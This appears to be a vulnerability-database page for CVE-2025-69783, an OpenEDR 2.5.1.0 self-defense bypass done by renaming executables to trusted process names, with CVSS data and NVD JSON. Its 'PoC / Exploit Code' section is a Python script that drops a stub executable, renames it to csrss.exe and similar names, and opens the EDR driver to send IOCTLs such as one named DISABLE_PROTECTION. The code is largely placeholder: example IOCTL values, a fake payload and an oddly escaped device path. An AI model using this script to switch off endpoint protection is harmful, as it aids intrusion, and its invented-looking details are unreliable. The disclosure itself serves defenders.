Security Vulnerability Report
中文
CVE-2025-69783 CVSS 7.8 HIGH

CVE-2025-69783

Published: 2026-03-16 16:16:13
Last Modified: 2026-03-20 13:55:32

Description

A local attacker can bypass OpenEDR's 2.5.1.0 self-defense mechanism by renaming a malicious executable to match a trusted process name (e.g., csrss.exe, edrsvc.exe, edrcon.exe). This allows unauthorized interaction with the OpenEDR kernel driver, granting access to privileged functionality such as configuration changes, process monitoring, and IOCTL communication that should be restricted to trusted components. While this issue alone does not directly grant SYSTEM privileges, it breaks OpenEDR's trust model and enables further exploitation leading to full local privilege escalation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:xcitium:openedr:2.5.1.0:*:*:*:*:*:*:* - VULNERABLE
OpenEDR < 2.5.1.0
OpenEDR 2.5.1.0(受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-69783 PoC - OpenEDR Self-Defense Bypass # This PoC demonstrates renaming malicious executable to trusted process name import os import sys import ctypes import shutil from pathlib import Path # Define trusted process names that OpenEDR allows TRUSTED_PROCESSES = [ "csrss.exe", "edrsvc.exe", "edrcon.exe", "EDRSensor.exe" ] def create_malicious_executable(output_path): """Generate a malicious executable that will interact with OpenEDR driver""" # This would be the actual malicious payload malicious_code = b'MZ' + b'\x00' * 100 # Simplified PE header with open(output_path, 'wb') as f: f.write(malicious_code) return output_path def bypass_self_defense(target_process_name, malicious_exe_path): """ Bypass OpenEDR self-defense by renaming executable to match a trusted process name """ try: # Create malicious executable temp_malicious = Path(malicious_exe_path) create_malicious_executable(temp_malicious) # Rename to trusted process name to bypass OpenEDR checks target_path = temp_malicious.parent / target_process_name shutil.move(str(temp_malicious), str(target_path)) print(f"[*] Successfully renamed to {target_process_name}") print(f"[*] Malicious executable location: {target_path}") # Attempt to interact with OpenEDR kernel driver via IOCTL # This would require kernel driver communication code interact_with_driver(str(target_path)) return True except Exception as e: print(f"[-] Bypass failed: {e}") return False def interact_with_driver(executable_path): """ Interact with OpenEDR kernel driver after bypassing self-defense This demonstrates the privileged access gained """ # Device name for OpenEDR driver DEVICE_NAME = "\\\\\\.\\OpenEDRDriver" # Example IOCTL codes that could be exploited IOCTL_CONFIG_CHANGE = 0x9A0A1234 IOCTL_PROCESS_MONITOR = 0x9A0A1250 IOCTL_DISABLE_PROTECTION = 0x9A0A1300 try: # Open handle to driver driver_handle = ctypes.windll.kernel32.CreateFileA( DEVICE_NAME.encode(), 0xC0000000, # GENERIC_READ | GENERIC_WRITE 0, None, 3, # OPEN_EXISTING 0x80, # FILE_ATTRIBUTE_NORMAL None ) if driver_handle != -1: print("[+] Successfully opened handle to OpenEDR driver") print("[+] Can now send privileged IOCTL requests") # Example: Disable EDR protection # DeviceIoControl(driver_handle, IOCTL_DISABLE_PROTECTION, ...) ctypes.windll.kernel32.CloseHandle(driver_handle) else: print("[-] Failed to open driver handle") except Exception as e: print(f"[-] Driver interaction error: {e}") if __name__ == "__main__": print("CVE-2025-69783 PoC - OpenEDR Self-Defense Bypass") print("=" * 50) if len(sys.argv) > 1: malicious_path = sys.argv[1] else: malicious_path = "C:\\Windows\\Temp\\malicious.exe" # Try each trusted process name for trusted_name in TRUSTED_PROCESSES: print(f"\n[*] Attempting bypass with {trusted_name}...") if bypass_self_defense(trusted_name, malicious_path): print(f"[+] Bypass successful!") break # Note: This is a simplified PoC for demonstration purposes. # Actual exploitation requires kernel driver knowledge and proper binary construction.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69783", "sourceIdentifier": "[email protected]", "published": "2026-03-16T16:16:13.333", "lastModified": "2026-03-20T13:55:32.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A local attacker can bypass OpenEDR's 2.5.1.0 self-defense mechanism by renaming a malicious executable to match a trusted process name (e.g., csrss.exe, edrsvc.exe, edrcon.exe). This allows unauthorized interaction with the OpenEDR kernel driver, granting access to privileged functionality such as configuration changes, process monitoring, and IOCTL communication that should be restricted to trusted components. While this issue alone does not directly grant SYSTEM privileges, it breaks OpenEDR's trust model and enables further exploitation leading to full local privilege escalation."}, {"lang": "es", "value": "Un atacante local puede eludir el mecanismo de autodefensa 2.5.1.0 de OpenEDR al renombrar un ejecutable malicioso para que coincida con el nombre de un proceso de confianza (p. ej., 'csrss.exe', 'edrsvc.exe', 'edrcon.exe'). Esto permite la interacción no autorizada con el controlador de kernel de OpenEDR, otorgando acceso a funcionalidades privilegiadas como cambios de configuración, monitoreo de procesos y comunicación IOCTL que debería estar restringida a componentes de confianza. Si bien este problema por sí solo no otorga directamente privilegios de SYSTEM, rompe el modelo de confianza de OpenEDR y permite una explotación adicional que conduce a una escalada de privilegios local completa."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xcitium:openedr:2.5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "C2BE1711-EE54-4E5D-A6CD-40033932443C"}]}]}], "references": [{"url": "https://github.com/ComodoSecurity/openedr", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/ComodoSecurity/openedr/issues/49", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://scavengersecurity.com/posts/edr-as-rootkit-2/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.openedr.com/", "source": "[email protected]", "tags": ["Product"]}]}}